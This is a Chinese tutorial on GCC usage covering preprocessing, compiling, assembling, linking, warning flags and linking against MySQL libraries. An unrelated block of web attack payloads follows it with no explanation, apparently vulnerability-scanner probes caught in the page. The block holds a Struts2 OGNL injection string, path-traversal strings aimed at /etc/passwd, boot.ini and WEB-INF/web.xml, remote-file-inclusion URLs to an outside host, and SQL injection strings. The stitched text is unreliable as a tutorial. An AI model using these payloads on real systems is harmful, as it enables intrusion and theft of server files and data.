GCC 常用命令
1简介
GCC 的意思也只是 GNU C Compiler 而已。经过了这么多年的发展,GCC 已经不仅仅能支持 C 语言;它现在还支持 Ada 语言、C++ 语言、Java 语言、Objective C 语言、Pascal 语言、COBOL语言,以及支持函数式编程和逻辑编程的 Mercury 语言,等等。而 GCC 也不再单只是 GNU C 语言编译器的意思了,而是变成了 GNU Compiler Collection 也即是 GNU 编译器家族的意思了。另一方面,说到 GCC 对于操作系统平台及硬件平台支持,概括起来就是一句话:无所不在。
2简单编译
示例程序如下:
//test.c
#include <stdio.h>
int main(void)
{
printf("Hello World!\n");
return 0;
}
这个程序,一步到位的编译指令是:
gcc test.c -o test
实质上,上述编译过程是分为四个阶段进行的,即预处理(也称预编译,Preprocessing)、编译(Compilation)、汇编 (Assembly)和连接(Linking)。
2.1预处理
gcc -E test.c -o test.i 或 gcc -E test.c
可以输出test.i文件中存放着test.c经预处理之后的代码。打开test.i文件,看一看,就明白了。后面那条指令,是直接在命令行窗口中输出预处理后的代码.
gcc的-E选项,可以让编译器在预处理后停止,并输出预处理结果。在本例中,预处理结果就是将stdio.h 文件中的内容插入到test.c中了。
2.2编译为汇编代码(Compilation)
预处理之后,可直接对生成的test.i文件编译,生成汇编代码:
gcc -S test.i -o test.s
gcc的-S选项,表示在程序编译期间,在生成汇编代码后,停止,-o输出汇编代码文件。
2.3汇编(Assembly)
对于上一小节中生成的汇编代码文件test.s,gas汇编器负责将其编译为目标文件,如下:
gcc -c test.s -o test.o
2.4连接(Linking)
gcc连接器是gas提供的,负责将程序的目标文件与所需的所有附加的目标文件连接起来,最终生成可执行文件。附加的目标文件包括静态连接库和动态连接库。
对于上一小节中生成的test.o,将其与C标准输入输出库进行连接,最终生成程序test
gcc test.o -o test
在命令行窗口中,执行./test, 让它说HelloWorld吧!
3多个程序文件的编译
通常整个程序是由多个源文件组成的,相应地也就形成了多个编译单元,使用GCC能够很好地管理这些编译单元。假设有一个由test1.c和 test2.c两个源文件组成的程序,为了对它们进行编译,并最终生成可执行程序test,可以使用下面这条命令:
gcc test1.c test2.c -o test
如果同时处理的文件不止一个,GCC仍然会按照预处理、编译和链接的过程依次进行。如果深究起来,上面这条命令大致相当于依次执行如下三条命令:
gcc -c test1.c -o test1.o
gcc -c test2.c -o test2.o
gcc test1.o test2.o -o test
4检错
gcc -pedantic illcode.c -o illcode
-pedantic编译选项并不能保证被编译程序与ANSI/ISO C标准的完全兼容,它仅仅只能用来帮助Linux程序员离这个目标越来越近。或者换句话说,-pedantic选项能够帮助程序员发现一些不符合 ANSI/ISO C标准的代码,但不是全部,事实上只有ANSI/ISO C语言标准中要求进行编译器诊断的那些情况,才有可能被GCC发现并提出警告。
除了-pedantic之外,GCC还有一些其它编译选项也能够产生有用的警告信息。这些选项大多以-W开头,其中最有价值的当数-Wall了,使用它能够使GCC产生尽可能多的警告信息。
gcc -Wall illcode.c -o illcode
GCC给出的警告信息虽然从严格意义上说不能算作错误,但却很可能成为错误的栖身之所。一个优秀的Linux程序员应该尽量避免产生警告信息,使自己的代码始终保持标准、健壮的特性。所以将警告信息当成编码错误来对待,是一种值得赞扬的行为!所以,在编译程序时带上-Werror选项,那么GCC会在所有产生警告的地方停止编译,迫使程序员对自己的代码进行修改,如下:
gcc -Werror test.c -o test
5库文件连接
开发软件时,完全不使用第三方函数库的情况是比较少见的,通常来讲都需要借助许多函数库的支持才能够完成相应的功能。从程序员的角度看,函数库实际上就是一些头文件(.h)和库文件(so、或lib、dll)的集合。。虽然Linux下的大多数函数都默认将头文件放到/usr/include/目录下,而库文件则放到/usr/lib/目录下;Windows所使用的库文件主要放在Visual Stido的目录下的include和lib,以及系统文件夹下。但也有的时候,我们要用的库不再这些目录下,所以GCC在编译时必须用自己的办法来查找所需要的头文件和库文件。
例如我们的程序test.c是在linux上使用c连接mysql,这个时候我们需要去mysql官网下载MySQL Connectors的C库,下载下来解压之后,有一个include文件夹,里面包含mysql connectors的头文件,还有一个lib文件夹,里面包含二进制so文件libmysqlclient.so
其中inclulde文件夹的路径是/usr/dev/mysql/include,lib文件夹是/usr/dev/mysql/lib
5.1编译成可执行文件
首先我们要进行编译test.c为目标文件,这个时候需要执行
gcc –c –I /usr/dev/mysql/include test.c –o test.o
5.2链接
最后我们把所有目标文件链接成可执行文件:
gcc –L /usr/dev/mysql/lib –lmysqlclient test.o –o test
Linux下的库文件分为两大类分别是动态链接库(通常以.so结尾)和静态链接库(通常以.a结尾),二者的区别仅在于程序执行时所需的代码是在运行时动态加载的,还是在编译时静态加载的。
5.3强制链接时使用静态链接库
默认情况下, GCC在链接时优先使用动态链接库,只有当动态链接库不存在时才考虑使用静态链接库,如果需要的话可以在编译时加上-static选项,强制使用静态链接库。
在/usr/dev/mysql/lib目录下有链接时所需要的库文件libmysqlclient.so和libmysqlclient.a,为了让GCC在链接时只用到静态链接库,可以使用下面的命令:
gcc –L /usr/dev/mysql/lib –static –lmysqlclient test.o –o test
静态库链接时搜索路径顺序:
1. ld会去找GCC命令中的参数-L
2. 再找gcc的环境变量LIBRARY_PATH
3. 再找内定目录 /lib /usr/lib /usr/local/lib 这是当初compile gcc时写在程序内的
动态链接时、执行时搜索路径顺序:
1. 编译目标代码时指定的动态库搜索路径
2. 环境变量LD_LIBRARY_PATH指定的动态库搜索路径
3. 配置文件/etc/ld.so.conf中指定的动态库搜索路径
4. 默认的动态库搜索路径/lib
5. 默认的动态库搜索路径/usr/lib
有关环境变量:
LIBRARY_PATH环境变量:指定程序静态链接库文件搜索路径
LD_LIBRARY_PATH环境变量:指定程序动态链接库文件搜索路径
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'+(#context['xwork.MethodAccessor.denyMethodExecution']=false,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+'
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/../../../../../../../../../../../../../../etc/passwd.jpg
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//../....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc//passwd.php
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\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd
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\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd
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../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.html
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/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.php
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c:/x/xx/../../../../../../boot.ini
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x/xx/../../../../../../../../../../../boot.ini
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http://cirt.net/rfiinc.txt.jpeg
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http://cirt.net/rfiinc.txt.php
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cirt.net/rfiinc.txt
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data://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.html
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file:///etc/passwd.php
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file:///etc/rc.d/rc.local.jpeg
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app.conf.php
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../../app.conf.html
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/../../WEB-INF/web.xml.php
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\\..\\..\\WEB-INF\\web.xml.htm
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\\..\....\\....\\WEB-INF\web.xml.php
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../../WEB-INF/web.xml
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..\..\WEB-INF/web.xml.php
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index.jsp.php
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' AND (SELECT (CASE WHEN (8281=(select 8282)) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END))-- -1
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" or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="82821
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" , (SELECT (CASE WHEN (8281-1=8281) THEN 1 ELSE (SELECT 1 FROM (select 1 union select 2)x) END)) )-- -1
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1) AND (SELECT 7747 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7747=7747) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7027=70271
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1" AND (SELECT 7747 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7747=7747) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "dEnu"="dEnu1
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1") AND UPDATEXML(2153,CONCAT(0x2e,0x3a6b64693a,(SELECT (CASE WHEN (2153=2153) THEN 1 ELSE 0 END)),0x3a69766a3a),4639) AND ("xdTQ"="xdTQ1
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-6894") OR (SELECT 7957 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7957=7957) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ("vpfo"="vpfo1
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-1556%' OR (SELECT 7957 FROM(SELECT COUNT(*),CONCAT(0x3a6177783a,(SELECT (CASE WHEN (7957=7957) THEN 1 ELSE 0 END)),0x3a626b6b3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='1
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1' OR EXTRACTVALUE(7410,CONCAT(0x5c,0x3a6b64693a,(SELECT (CASE WHEN (7410=7410) THEN 1 ELSE 0 END)),0x3a69766a3a))1
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1' OR EXTRACTVALUE(7945,CONCAT(0x5c,0x3a6177783a,(SELECT (CASE WHEN (7945=7945) THEN 1 ELSE 0 END)),0x3a626b6b3a)) AND 'HpPF'='HpPF1
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1%' OR EXTRACTVALUE(7945,CONCAT(0x5c,0x3a6177783a,(SELECT (CASE WHEN (7945=7945) THEN 1 ELSE 0 END)),0x3a626b6b3a)) AND '%'='1
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-35351
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../../../../../../../../../../../../../../etc/passwd.html
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/../../../../../../../../../../../../../../etc/passwd.php
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//../..//..//..//..//..//..//..//..//..//..//..//..//..//..//etc//passwd
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\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd.htm
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\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd.jpg
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../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpeg
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/../../../../../../../../../../sbin/../etc/./rc.d/../rc.d/.././rc.local.jpeg
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c:/windows/win.ini.php
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x/xx/../../../../../../../../../../../boot.ini.html
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http://cirt.net/rfiinc.txt.html
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cirt.net/rfiinc.txt.html
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data://text/plain;base64,W0hlbGxvIEFpc2h5XQ==.htm
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../../../../../../../../../../etc/rc.d/rc.local
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file:///etc/rc.d/rc.local.php
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../app.conf
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../../app.conf.php
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\..\..\WEB-INF\web.xml
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\\..\\..\\WEB-INF\\web.xml.jpg
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\\..\....\\....\\WEB-INF\web.xml.jpeg
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WEB-INF\web.xml.jpg
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..\..\WEB-INF/web.xml
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WEB-INF/web.xml
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index.jsp.htm
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